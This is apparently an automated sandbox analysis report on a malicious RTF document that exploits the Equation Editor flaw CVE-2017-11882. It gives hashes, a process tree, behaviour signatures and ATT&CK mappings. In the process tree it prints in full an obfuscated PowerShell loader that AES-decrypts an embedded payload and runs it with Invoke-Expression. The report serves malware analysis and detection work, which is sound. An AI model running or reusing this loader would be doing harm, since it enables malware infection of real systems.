c0587da12abc35d421d5cfb374785b021b0c6c07868d12202ea2074b3cf39def

General

Target

SecuriteInfo.com.Exploit.CVE-2017-11882.123.23495.2369.rtf
Size

72KB
MD5

625a04a93d1ab1ffac8c456c25d98b93
SHA1

f52a29f1a540c218a8587d4fc81ff209288a7f3c
SHA256

c0587da12abc35d421d5cfb374785b021b0c6c07868d12202ea2074b3cf39def
SHA512

159775ed99ef6eb7ff9edb193208a1831c43074c737d608d78c91bd8bf35d4a801d914b4214958aad38edec943a920389a3e980233b8e9f58c3864986470dec9
SSDEEP

384:l0uKlMPlWYlweoKVLliD/k4gphmStYaFiYXl83D2jIcwMfXEVNkKT:ykXIKVLlOk4gphm4Xl8D2jIcwM/2p

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

EQNEDT32.EXEpowershell.exe

flow pid process

4 2344 EQNEDT32.EXE
6 3060 powershell.exe
7 3060 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3060 powershell.exe

flow	pid	process
4	2344	EQNEDT32.EXE
6	3060	powershell.exe
7	3060	powershell.exe

pid	process
3060	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exeWINWORD.EXEEQNEDT32.EXEWScript.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

2344 EQNEDT32.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2996 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3060 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3060 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2996 WINWORD.EXE
2996 WINWORD.EXE

pid	process
2344	EQNEDT32.EXE

pid	process
2996	WINWORD.EXE

pid	process
3060	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3060	powershell.exe

pid	process
2996	WINWORD.EXE
2996	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EQNEDT32.EXEWScript.exeWINWORD.EXE

description	pid	process	target process
PID 2344 wrote to memory of 2712	2344	EQNEDT32.EXE	WScript.exe
PID 2344 wrote to memory of 2712	2344	EQNEDT32.EXE	WScript.exe
PID 2344 wrote to memory of 2712	2344	EQNEDT32.EXE	WScript.exe
PID 2344 wrote to memory of 2712	2344	EQNEDT32.EXE	WScript.exe
PID 2712 wrote to memory of 3060	2712	WScript.exe	powershell.exe
PID 2712 wrote to memory of 3060	2712	WScript.exe	powershell.exe
PID 2712 wrote to memory of 3060	2712	WScript.exe	powershell.exe
PID 2712 wrote to memory of 3060	2712	WScript.exe	powershell.exe
PID 2996 wrote to memory of 564	2996	WINWORD.EXE	splwow64.exe
PID 2996 wrote to memory of 564	2996	WINWORD.EXE	splwow64.exe
PID 2996 wrote to memory of 564	2996	WINWORD.EXE	splwow64.exe
PID 2996 wrote to memory of 564	2996	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.CVE-2017-11882.123.23495.2369.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:564

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\mywifeisbeautiful.vBS"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
a6ae21a9ae46ca837634d037509e3099

SHA1
8f7000b5366e5e3bd95dc2eb789a3615a6c811ce

SHA256
9c1b7b9250f77145e8cca0ad1a6c05c8fefee359e64b8d8cc311fbf5d90c15d9

SHA512
ebff74274d4e682bdf18ada50a3b364fb0ccafac4db2a5f836becd66732f4375584b4e686fcf251f67fe8cf0cfb7e688aaaf7db8890c4c70e806d37eda78045f

Download Submit
C:\Users\Admin\AppData\Roaming\mywifeisbeautiful.vBS

Filesize
565KB

MD5
02b6b577cf925689c42545770b951ac6

SHA1
dce1c459654f5bbfd069f76593df171c95a07b18

SHA256
fd2dcb6500c21ea089a8bf7867f50a1bbd066e3856128c1d283276e1cb6e0689

SHA512
82ddaf057d2a2b9da9849a79317a9dd1a97b2d5967ec61ee79687232b27ce3bdcb5cc2194dceda3ff27f5c2daa3d6692b51a2eb3551410264336d35cced412b5

Download Submit
memory/2996-0-0x000000002FEC1000-0x000000002FEC2000-memory.dmp

Filesize
4KB

Download
memory/2996-2-0x0000000070DFD000-0x0000000070E08000-memory.dmp

Filesize
44KB

Download
memory/2996-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2996-14-0x0000000070DFD000-0x0000000070E08000-memory.dmp

Filesize
44KB

Download
memory/2996-32-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads